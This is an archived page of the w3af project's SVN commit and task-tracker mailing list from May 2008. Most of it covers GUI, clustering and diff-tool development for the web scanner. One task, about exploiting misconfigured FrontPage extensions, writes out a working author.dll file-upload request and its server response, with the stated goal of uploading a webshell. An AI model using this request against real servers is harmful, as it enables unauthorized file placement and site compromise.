w3af-svn-notify Mailing List for w3af (Page 237)
Status: Beta
Brought to you by:
andresriancho
Menu
▾
▴
w3af-svn-notify — This mailing list has a copy of the SVN Commit logs and each modified file
You can subscribe to this list here.
| 2008 |
Jan
|
Feb
(235) |
Mar
(336) |
Apr
(280) |
May
(278) |
Jun
(159) |
Jul
(270) |
Aug
(240) |
Sep
(121) |
Oct
(110) |
Nov
(199) |
Dec
(228) |
|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2009 |
Jan
(251) |
Feb
(206) |
Mar
(115) |
Apr
(45) |
May
(27) |
Jun
(67) |
Jul
(49) |
Aug
(38) |
Sep
(10) |
Oct
(131) |
Nov
(89) |
Dec
(38) |
| 2010 |
Jan
(85) |
Feb
(71) |
Mar
(45) |
Apr
(23) |
May
(12) |
Jun
|
Jul
(11) |
Aug
(7) |
Sep
(81) |
Oct
(79) |
Nov
(165) |
Dec
(62) |
| 2011 |
Jan
(134) |
Feb
(73) |
Mar
(34) |
Apr
(63) |
May
(147) |
Jun
(43) |
Jul
(21) |
Aug
(26) |
Sep
(43) |
Oct
(34) |
Nov
(44) |
Dec
(112) |
| 2012 |
Jan
(47) |
Feb
(44) |
Mar
(72) |
Apr
(209) |
May
(54) |
Jun
(279) |
Jul
(151) |
Aug
(332) |
Sep
(39) |
Oct
(268) |
Nov
(116) |
Dec
(368) |
| 2013 |
Jan
(73) |
Feb
|
Mar
|
Apr
(1) |
May
|
Jun
|
Jul
|
Aug
|
Sep
|
Oct
|
Nov
|
Dec
|
|
From: <and...@us...> - 2008-05-26 17:44:05
|
Revision: 1215
http://w3af.svn.sourceforge.net/w3af/?rev=1215&view=rev
Author: andresriancho
Date: 2008-05-26 10:44:01 -0700 (Mon, 26 May 2008)
Log Message:
-----------
Nicer window, without the functionality yet.
Modified Paths:
--------------
trunk/extlib/cluster/clusterView.py
This was sent by the SourceForge.net collaborative development platform, the world's largest Open Source development site.
|
|
From: <and...@us...> - 2008-05-26 14:08:28
|
Revision: 1214
http://w3af.svn.sourceforge.net/w3af/?rev=1214&view=rev
Author: andresriancho
Date: 2008-05-26 07:08:00 -0700 (Mon, 26 May 2008)
Log Message:
-----------
Quick ratio sucks. Added some nicer tooltip.
Modified Paths:
--------------
trunk/extlib/cluster/clusterView.py
This was sent by the SourceForge.net collaborative development platform, the world's largest Open Source development site.
|
|
From: <and...@us...> - 2008-05-26 14:00:42
|
Revision: 1213
http://w3af.svn.sourceforge.net/w3af/?rev=1213&view=rev
Author: andresriancho
Date: 2008-05-26 07:00:34 -0700 (Mon, 26 May 2008)
Log Message:
-----------
I don't need precition for the ratio.
Modified Paths:
--------------
trunk/extlib/cluster/clusterView.py
This was sent by the SourceForge.net collaborative development platform, the world's largest Open Source development site.
|
|
From: SourceForge.net <no...@so...> - 2008-05-26 13:05:17
|
Task #148779 has been updated. Project: w3af Subproject: TODO v2.0 Summary: clustering for sitemap Complete: 0% Status: Open Authority : andresriancho Assigned to: nobody Description: me: i'll try to put it inside w3af this week what was your idea regarding this clustering thing ? Alexander: a thing what I was thinking about was not exactly about the security every site consists of some logical parts like: a blog, a forum, a homepage and if we perform a clustering based on requests and response we could build such a map but that's mostly a playing, I don't see any practical use I just was playing with clustering for some time http://code.google.com/p/voroh/ (that's a project I was thinking about, it's completely not about security) Sent at 10:00 AM on Monday Alexander: Also, about the parts: we could divide site on parts manually and tell to scan different parts with different parameters and plugins. Sent at 10:02 AM on Monday me: hmmm ,well yes its hard to implement but could work I'll copy paste this conversation and create a task for version 2.0 [equal smile] Alexander: [equal smile] Sent at 10:06 AM on Monday Alexander has entered text ------------------------------------------------------- For more info, visit: http://sourceforge.net/pm/task.php?func=detailtask&project_task_id=148779&group_id=170274&group_project_id=50602 |
|
From: SourceForge.net <no...@so...> - 2008-05-26 04:26:45
|
Task #148114 has been updated. Project: w3af Subproject: gtkUi - OWASP SoC 2008 Summary: HTTP response side by side content compare Complete: 15% Status: Open Authority : facundobatista Assigned to: facundobatista Description: Try to reutilize MELD (check the license). Test if that reutilization is ok in win32. Andres needs to define how to choose the two responses (or more than two). This task needs further definitions!! Follow-Ups: ------------------------------------------------------- Date: 2008-05-26 01:26 By: facundobatista Comment: This should be discused and designed face to face. Andres, we should meet about this. Good news: I now have MELD trimmed down and usable for what we want (+4 hs cleaning code!), :D ------------------------------------------------------- Date: 2008-05-25 15:30 By: andresriancho Comment: Given that the responses to compare are going to be selected by the user at some point; and the only way that the user can see responses are within a reqResViewer then I think that the best place to add the selector for responses to compare is there. Now, more in detail: - The compare tool, if based on meld, should have the same icon. For now, the tool can be called "Diff tool". - The selector that I was talking before, should be a small button with the tool icon, which would be located on the bottom of the response notebook inside reqResViewer. The button should only show the icon and have a tooltip that says "Send to diff tool". - In order to keep the same design, the buttons that send the request to the manual request editor and to the fuzzy should look like the above one: only the icon in the button and the corresponding tooltip. Please note that these buttons are below the request notebook, and the diff tool one is below the response notebook. - The user can send as many responses as he wants to the diff tool. - When the user opens the diff tool, he will be presented with a modified version of meld, that on the left pane shows the first response that he sent to the diff tool, and on the right pane shows the second response. All other responses can be selected to be diff'ed with a entries.PagesControl widget. - This modified version of meld should *clearly* show to the user if the responses are equal. A good way of doing this is to put on top of the responses two labels that have the sha1 hash of the responses; and if the hashes match set the background color of the two labels to green, and if they don't set them to red. - The diff tool should also have a "Clear" button that removes all responses from the current view; so the user can send others to compare. - The tool should have a "delete from view" button that allows the user to remove the response being compared from the diff tool. - The tool should have a button that sends a response from the right pane to the left pane; and sends the one in the left pane to the list of other responses being compared. Do you need more definitions? If so, don't hesitate to ask. Crazy feature that would be really cool to implement in version 3.0 of w3af: after sending a lot of responses to the diff tool, you would hit a button that says "Multicompare" that draws a graph that has one circle for each request. The distance between the circles determines how different they are. This would make a multiple comparison of responses sooooooo easy! I think I could implement this just for the fun of watching it work ;) ------------------------------------------------------- Date: 2008-05-11 17:32 By: facundobatista Comment: Pretty much it can be reused, need to find out how to stop using gnome stuff, for win32. Regarding license, it's GPL, so I think it's fine. I'll wait further definitions here, to see if MELD is suitable or not (so I'm assigning this now to Andres). ------------------------------------------------------- For more info, visit: http://sourceforge.net/pm/task.php?func=detailtask&project_task_id=148114&group_id=170274&group_project_id=56282 |
|
From: <and...@us...> - 2008-05-26 01:07:37
|
Revision: 1212
http://w3af.svn.sourceforge.net/w3af/?rev=1212&view=rev
Author: andresriancho
Date: 2008-05-25 18:07:36 -0700 (Sun, 25 May 2008)
Log Message:
-----------
Refactoring of the window, in the future the user will be able to set the clustering label.
Modified Paths:
--------------
trunk/extlib/cluster/clusterView.py
This was sent by the SourceForge.net collaborative development platform, the world's largest Open Source development site.
|
|
From: <and...@us...> - 2008-05-25 23:39:29
|
Revision: 1211
http://w3af.svn.sourceforge.net/w3af/?rev=1211&view=rev
Author: andresriancho
Date: 2008-05-25 16:39:13 -0700 (Sun, 25 May 2008)
Log Message:
-----------
Even nicer. This window is almost ready for being added to some section of the trunk =)
Modified Paths:
--------------
trunk/extlib/cluster/clusterView.py
This was sent by the SourceForge.net collaborative development platform, the world's largest Open Source development site.
|
|
From: <and...@us...> - 2008-05-25 23:26:41
|
Revision: 1210
http://w3af.svn.sourceforge.net/w3af/?rev=1210&view=rev
Author: andresriancho
Date: 2008-05-25 16:26:40 -0700 (Sun, 25 May 2008)
Log Message:
-----------
Hmmm... this little window is starting to make a lot of sense! =)
Modified Paths:
--------------
trunk/extlib/cluster/clusterView.py
This was sent by the SourceForge.net collaborative development platform, the world's largest Open Source development site.
|
|
From: <and...@us...> - 2008-05-25 21:42:10
|
Revision: 1209
http://w3af.svn.sourceforge.net/w3af/?rev=1209&view=rev
Author: andresriancho
Date: 2008-05-25 14:42:08 -0700 (Sun, 25 May 2008)
Log Message:
-----------
PROPSET to ignore pyc and pyo inside this directory.
Property Changed:
----------------
trunk/extlib/cluster/
This was sent by the SourceForge.net collaborative development platform, the world's largest Open Source development site.
|
|
From: <and...@us...> - 2008-05-25 21:29:50
|
Revision: 1208
http://w3af.svn.sourceforge.net/w3af/?rev=1208&view=rev
Author: andresriancho
Date: 2008-05-25 14:29:49 -0700 (Sun, 25 May 2008)
Log Message:
-----------
Adding a clustering library to w3af. This is going to be used in the process of comparing responses.
Added Paths:
-----------
trunk/extlib/cluster/
trunk/extlib/cluster/CHANGELOG
trunk/extlib/cluster/INSTALL
trunk/extlib/cluster/LICENSE
trunk/extlib/cluster/MANIFEST.in
trunk/extlib/cluster/README
trunk/extlib/cluster/cluster.bmp
trunk/extlib/cluster/cluster.py
trunk/extlib/cluster/clusterTests.py
trunk/extlib/cluster/clusterView.py
trunk/extlib/cluster/makedist.sh
trunk/extlib/cluster/setup.cfg
trunk/extlib/cluster/setup.py
This was sent by the SourceForge.net collaborative development platform, the world's largest Open Source development site.
|
|
From: SourceForge.net <no...@so...> - 2008-05-25 18:30:21
|
Task #148114 has been updated. Project: w3af Subproject: gtkUi - OWASP SoC 2008 Summary: HTTP response side by side content compare Complete: 0% Status: Open Authority : facundobatista Assigned to: facundobatista Description: Try to reutilize MELD (check the license). Test if that reutilization is ok in win32. Andres needs to define how to choose the two responses (or more than two). This task needs further definitions!! Follow-Ups: ------------------------------------------------------- Date: 2008-05-25 15:30 By: andresriancho Comment: Given that the responses to compare are going to be selected by the user at some point; and the only way that the user can see responses are within a reqResViewer then I think that the best place to add the selector for responses to compare is there. Now, more in detail: - The compare tool, if based on meld, should have the same icon. For now, the tool can be called "Diff tool". - The selector that I was talking before, should be a small button with the tool icon, which would be located on the bottom of the response notebook inside reqResViewer. The button should only show the icon and have a tooltip that says "Send to diff tool". - In order to keep the same design, the buttons that send the request to the manual request editor and to the fuzzy should look like the above one: only the icon in the button and the corresponding tooltip. Please note that these buttons are below the request notebook, and the diff tool one is below the response notebook. - The user can send as many responses as he wants to the diff tool. - When the user opens the diff tool, he will be presented with a modified version of meld, that on the left pane shows the first response that he sent to the diff tool, and on the right pane shows the second response. All other responses can be selected to be diff'ed with a entries.PagesControl widget. - This modified version of meld should *clearly* show to the user if the responses are equal. A good way of doing this is to put on top of the responses two labels that have the sha1 hash of the responses; and if the hashes match set the background color of the two labels to green, and if they don't set them to red. - The diff tool should also have a "Clear" button that removes all responses from the current view; so the user can send others to compare. - The tool should have a "delete from view" button that allows the user to remove the response being compared from the diff tool. - The tool should have a button that sends a response from the right pane to the left pane; and sends the one in the left pane to the list of other responses being compared. Do you need more definitions? If so, don't hesitate to ask. Crazy feature that would be really cool to implement in version 3.0 of w3af: after sending a lot of responses to the diff tool, you would hit a button that says "Multicompare" that draws a graph that has one circle for each request. The distance between the circles determines how different they are. This would make a multiple comparison of responses sooooooo easy! I think I could implement this just for the fun of watching it work ;) ------------------------------------------------------- Date: 2008-05-11 17:32 By: facundobatista Comment: Pretty much it can be reused, need to find out how to stop using gnome stuff, for win32. Regarding license, it's GPL, so I think it's fine. I'll wait further definitions here, to see if MELD is suitable or not (so I'm assigning this now to Andres). ------------------------------------------------------- For more info, visit: http://sourceforge.net/pm/task.php?func=detailtask&project_task_id=148114&group_id=170274&group_project_id=56282 |
|
From: <and...@us...> - 2008-05-25 18:01:25
|
Revision: 1207
http://w3af.svn.sourceforge.net/w3af/?rev=1207&view=rev
Author: andresriancho
Date: 2008-05-25 11:01:17 -0700 (Sun, 25 May 2008)
Log Message:
-----------
Documented the proxy daemon; this is one of the first steps towards having a local proxy server.
Modified Paths:
--------------
trunk/core/controllers/daemons/proxy.py
This was sent by the SourceForge.net collaborative development platform, the world's largest Open Source development site.
|
|
From: <fac...@us...> - 2008-05-25 15:55:23
|
Revision: 1206
http://w3af.svn.sourceforge.net/w3af/?rev=1206&view=rev
Author: facundobatista
Date: 2008-05-25 08:13:32 -0700 (Sun, 25 May 2008)
Log Message:
-----------
Now the log is drawn only if that window is shown, not when
it's hidden. This will reduce the load on the system, and
probably solve the 'no window' bug.
Modified Paths:
--------------
trunk/core/ui/gtkUi/logtab.py
This was sent by the SourceForge.net collaborative development platform, the world's largest Open Source development site.
|
|
From: SourceForge.net <no...@so...> - 2008-05-25 15:34:18
|
Task #148673 has been updated. Project: w3af Subproject: gtkUi - OWASP SoC 2008 Summary: log graph Complete: 100% Status: Closed Authority : andresriancho Assigned to: facundobatista Description: When the user is in another tab, why should be keep redrawing the graph? I propose a change in the code, that detects when the user has a focus in the log tab, and only then redraw the tab. This is related to the issue of slow redraws that I'm seeing when performing scans of BIG sites on LAN networks. Follow-Ups: ------------------------------------------------------- Date: 2008-05-25 12:21 By: facundobatista Comment: Done in r1206. ------------------------------------------------------- For more info, visit: http://sourceforge.net/pm/task.php?func=detailtask&project_task_id=148673&group_id=170274&group_project_id=56282 |
|
From: SourceForge.net <no...@so...> - 2008-05-25 15:30:23
|
Task #148701 has been updated. Project: w3af Subproject: gtkUi - OWASP SoC 2008 Summary: error messages in log window Complete: 0% Status: Open Authority : andresriancho Assigned to: facundobatista Description: gtkUi should print the message objects of type 'error' that are in the gtkOutput plugin queue in the log message window. To do this, the gtkUi should use: - Black color - Bold letters (The combination is rather arbitraty and will be verified with Eduardo in our next meeting that I hope will be in a month or so) For now, the core prints some bugs as errors, but in the future this won't happen. Please add the code to print the error messages with the specified color and after that assign the task back to me, so I can remember to fix the core. Follow-Ups: ------------------------------------------------------- Date: 2008-05-23 16:40 By: andresriancho Comment: Use brown, it will change in a month or so. It ain't important at this moment. ------------------------------------------------------- Date: 2008-05-23 15:56 By: facundobatista Comment: I won't put the letter in bold, a lot of code is needed for that (use another color is easy, it fits in the actual structure). Still want to use black? ------------------------------------------------------- For more info, visit: http://sourceforge.net/pm/task.php?func=detailtask&project_task_id=148701&group_id=170274&group_project_id=56282 |
|
From: <and...@us...> - 2008-05-25 14:22:38
|
Revision: 1205
http://w3af.svn.sourceforge.net/w3af/?rev=1205&view=rev
Author: andresriancho
Date: 2008-05-25 07:22:36 -0700 (Sun, 25 May 2008)
Log Message:
-----------
Some minimal changes to the fuzzy request window.
Modified Paths:
--------------
trunk/core/ui/gtkUi/craftedRequests.py
trunk/core/ui/gtkUi/entries.py
trunk/w3af.e3p
trunk/w3af.e3t
This was sent by the SourceForge.net collaborative development platform, the world's largest Open Source development site.
|
|
From: <ab...@us...> - 2008-05-25 07:12:58
|
Revision: 1204
http://w3af.svn.sourceforge.net/w3af/?rev=1204&view=rev
Author: aberezh
Date: 2008-05-25 00:12:43 -0700 (Sun, 25 May 2008)
Log Message:
-----------
consoleUi: Fixed handling of wrong parameters in exploit menu.
Modified Paths:
--------------
trunk/core/ui/consoleUi/exploit.py
This was sent by the SourceForge.net collaborative development platform, the world's largest Open Source development site.
|
|
From: <ada...@us...> - 2008-05-24 15:08:57
|
Revision: 1203
http://w3af.svn.sourceforge.net/w3af/?rev=1203&view=rev
Author: adam_baldwin
Date: 2008-05-24 08:08:54 -0700 (Sat, 24 May 2008)
Log Message:
-----------
Adding new Unix local file combination
Modified Paths:
--------------
trunk/plugins/audit/localFileInclude.py
This was sent by the SourceForge.net collaborative development platform, the world's largest Open Source development site.
|
|
From: SourceForge.net <no...@so...> - 2008-05-23 22:12:06
|
Task #148702 has been updated. Project: w3af Subproject: Plugin TODO v1.00 Summary: findeHash - anticrypt Complete: 0% Status: Open Authority : andresriancho Assigned to: nobody Description: See the Inguma code, and try to see if anticrypt can be added to findHash grep plugin in order to make it much more "stable". ------------------------------------------------------- For more info, visit: http://sourceforge.net/pm/task.php?func=detailtask&project_task_id=148702&group_id=170274&group_project_id=50603 |
|
From: SourceForge.net <no...@so...> - 2008-05-23 22:00:59
|
Task #145813 has been updated. Project: w3af Subproject: Plugin TODO v1.00 Summary: frontpage extensions Complete: 50% Status: Open Authority : andresriancho Assigned to: sharadgana Description: Create a plugin that exploits misconfigured frontpage extensions: Upload a file: POST /_vti_bin/_vti_aut/author.dll - 200 Test if it was created: GET /i.htm - 200 Follow-Ups: ------------------------------------------------------- Date: 2008-05-23 19:00 By: andresriancho Comment: Never got a response in the mailing list about the way to create a file WITH CONTENT. The problem I have is that I don't know where to put the content of the file. As a guide, we should use audit.frontpage plugin for frontpage stuff and attack.davShell for exploiting stuff in the w3af framework. This task was assigned to Andrew Brooks. ------------------------------------------------------- Date: 2008-02-24 16:43 By: andresriancho Comment: Asked for help on the users mailing list, awaiting response. ------------------------------------------------------- Date: 2008-01-30 16:41 By: andresriancho Comment: Coded the audit plugin, now I need an attack plugin that can exploit this vuln by uploading a webshell. ------------------------------------------------------- Date: 2008-01-30 15:42 By: andresriancho Comment: REQUEST ======= POST http://XXXX/_vti_bin/_vti_aut/author.dll HTTP/1.0 Host: XXXX User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0;) Pragma: no-cache Content-Type: application/x-www-form-urlencoded method=put document:4.0.2.4715&service_name=&document=[document_name=index-3.htm;meta_info=[]]&put_option=overwrite&comment=&keep_checked_out=false RESPONSE ======== HTTP/1.0 200 OK Date: Wed, 30 Jan 2008 18:37:11 GMT Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/5.0 X-Powered-By: ASP.NET X-FrontPage-User-Name: IUSR_ECUIO012EP12 <html><head><title>vermeer RPC packet</title></head> <body> <p>method=put document:4.0.2.4715 <p>message=successfully put document 'index-3.htm' as 'c:\inetpub\wwwroot\index-3.htm' <p>document= <ul> <li>document_name=index-3.htm <li>meta_info= <ul> <li>vti_author <li>SR|IUSR_ECUIO012EP12 <li>vti_modifiedby <li>SR|IUSR_ECUIO012EP12 <li>vti_timecreated <li>TR|30 Jan 2008 18:37:12 -0000 <li>vti_timelastmodified <li>TR|30 Jan 2008 18:37:12 -0000 <li>vti_filesize <li>IR|0 <li>vti_backlinkinfo <li>VX| <li>vti_timelastwritten <li>TX|30 Jan 2008 18:37:12 -0000 </ul> </ul> </body> </html> ------------------------------------------------------- Date: 2008-01-30 15:24 By: andresriancho Comment: http://msdn2.microsoft.com/en-us/library/ms479623.aspx ------------------------------------------------------- Date: 2008-01-30 15:18 By: andresriancho Comment: http://www.packetstormsecurity.org/9910-exploits/webfolders.txt ------------------------------------------------------- Date: 2008-01-30 14:59 By: andresriancho Comment: The content posted to author.dll method=put+document%3a4%2e0%2e2%2e4715&service%5fname=&document=%5bdocument%5fname%3dindex.htm%3bmeta%5finfo%3d%5b%5d%5d&put%5foption=overwrite&comment=&keep%5fchecked%5fout=false ------------------------------------------------------- For more info, visit: http://sourceforge.net/pm/task.php?func=detailtask&project_task_id=145813&group_id=170274&group_project_id=50603 |
|
From: SourceForge.net <no...@so...> - 2008-05-23 20:54:34
|
Task #148511 has been updated.
Project: w3af
Subproject: gtkUi - OWASP SoC 2008
Summary: Results - URLs - Right button over tree entry
Complete: 5%
Status: Open
Authority : andresriancho
Assigned to: facundobatista
Description: Results - URLs - Right button over tree entry:
- A menu should pop-up; and the following options should be there:
- Manually resend request
- Send to request fuzzer
Follow-Ups:
-------------------------------------------------------
Date: 2008-05-23 17:54
By: andresriancho
Comment:
In this case, just use the URL. For the cases of the button in the reqResWidget, all the request with its postdata should be sent.
-------------------------------------------------------
Date: 2008-05-23 16:57
By: facundobatista
Comment:
Ok. That is achievable.
What about headers and post information? Or you just want the URL in the opened window?
-------------------------------------------------------
Date: 2008-05-23 09:19
By: andresriancho
Comment:
No, I was talking about the URLs tab inside the result tab. The Informations/Vulns/etc that are stored in the KB browser can be re-sent using the buttons that will appear in the reqResViewer.
The right click is over something that says "f00.php", or "/path/" or "?a=3". When the user clicks on resend/send to fuzzer, the gtkUi should recreate the whole URL navigating the tree backwards, and then send that to the corresponding tool.
-------------------------------------------------------
Date: 2008-05-22 23:41
By: facundobatista
Comment:
Over any tree entry, or just those which actually *have* a http request to handle? (I mean, for those that the http request is being shown in the right part).
Also, I understand you're talking about the KB Browser tab of Results... tell me if I'm wrong.
-------------------------------------------------------
For more info, visit:
http://sourceforge.net/pm/task.php?func=detailtask&project_task_id=148511&group_id=170274&group_project_id=56282
|
|
From: SourceForge.net <no...@so...> - 2008-05-23 19:57:02
|
Task #148511 has been updated.
Project: w3af
Subproject: gtkUi - OWASP SoC 2008
Summary: Results - URLs - Right button over tree entry
Complete: 5%
Status: Open
Authority : andresriancho
Assigned to: facundobatista
Description: Results - URLs - Right button over tree entry:
- A menu should pop-up; and the following options should be there:
- Manually resend request
- Send to request fuzzer
Follow-Ups:
-------------------------------------------------------
Date: 2008-05-23 16:57
By: facundobatista
Comment:
Ok. That is achievable.
What about headers and post information? Or you just want the URL in the opened window?
-------------------------------------------------------
Date: 2008-05-23 09:19
By: andresriancho
Comment:
No, I was talking about the URLs tab inside the result tab. The Informations/Vulns/etc that are stored in the KB browser can be re-sent using the buttons that will appear in the reqResViewer.
The right click is over something that says "f00.php", or "/path/" or "?a=3". When the user clicks on resend/send to fuzzer, the gtkUi should recreate the whole URL navigating the tree backwards, and then send that to the corresponding tool.
-------------------------------------------------------
Date: 2008-05-22 23:41
By: facundobatista
Comment:
Over any tree entry, or just those which actually *have* a http request to handle? (I mean, for those that the http request is being shown in the right part).
Also, I understand you're talking about the KB Browser tab of Results... tell me if I'm wrong.
-------------------------------------------------------
For more info, visit:
http://sourceforge.net/pm/task.php?func=detailtask&project_task_id=148511&group_id=170274&group_project_id=56282
|
|
From: SourceForge.net <no...@so...> - 2008-05-23 19:40:54
|
Task #148701 has been updated. Project: w3af Subproject: gtkUi - OWASP SoC 2008 Summary: error messages in log window Complete: 0% Status: Open Authority : andresriancho Assigned to: andresriancho Description: gtkUi should print the message objects of type 'error' that are in the gtkOutput plugin queue in the log message window. To do this, the gtkUi should use: - Black color - Bold letters (The combination is rather arbitraty and will be verified with Eduardo in our next meeting that I hope will be in a month or so) For now, the core prints some bugs as errors, but in the future this won't happen. Please add the code to print the error messages with the specified color and after that assign the task back to me, so I can remember to fix the core. Follow-Ups: ------------------------------------------------------- Date: 2008-05-23 16:40 By: andresriancho Comment: Use brown, it will change in a month or so. It ain't important at this moment. ------------------------------------------------------- Date: 2008-05-23 15:56 By: facundobatista Comment: I won't put the letter in bold, a lot of code is needed for that (use another color is easy, it fits in the actual structure). Still want to use black? ------------------------------------------------------- For more info, visit: http://sourceforge.net/pm/task.php?func=detailtask&project_task_id=148701&group_id=170274&group_project_id=56282 |
|
From: SourceForge.net <no...@so...> - 2008-05-23 18:56:47
|
Task #148701 has been updated. Project: w3af Subproject: gtkUi - OWASP SoC 2008 Summary: error messages in log window Complete: 0% Status: Open Authority : andresriancho Assigned to: facundobatista Description: gtkUi should print the message objects of type 'error' that are in the gtkOutput plugin queue in the log message window. To do this, the gtkUi should use: - Black color - Bold letters (The combination is rather arbitraty and will be verified with Eduardo in our next meeting that I hope will be in a month or so) For now, the core prints some bugs as errors, but in the future this won't happen. Please add the code to print the error messages with the specified color and after that assign the task back to me, so I can remember to fix the core. Follow-Ups: ------------------------------------------------------- Date: 2008-05-23 15:56 By: facundobatista Comment: I won't put the letter in bold, a lot of code is needed for that (use another color is easy, it fits in the actual structure). Still want to use black? ------------------------------------------------------- For more info, visit: http://sourceforge.net/pm/task.php?func=detailtask&project_task_id=148701&group_id=170274&group_project_id=56282 |
|
From: SourceForge.net <no...@so...> - 2008-05-23 18:33:26
|
Task #148701 has been updated. Project: w3af Subproject: gtkUi - OWASP SoC 2008 Summary: error messages in log window Complete: 0% Status: Open Authority : andresriancho Assigned to: facundobatista Description: gtkUi should print the message objects of type 'error' that are in the gtkOutput plugin queue in the log message window. To do this, the gtkUi should use: - Black color - Bold letters (The combination is rather arbitraty and will be verified with Eduardo in our next meeting that I hope will be in a month or so) For now, the core prints some bugs as errors, but in the future this won't happen. Please add the code to print the error messages with the specified color and after that assign the task back to me, so I can remember to fix the core. ------------------------------------------------------- For more info, visit: http://sourceforge.net/pm/task.php?func=detailtask&project_task_id=148701&group_id=170274&group_project_id=56282 |
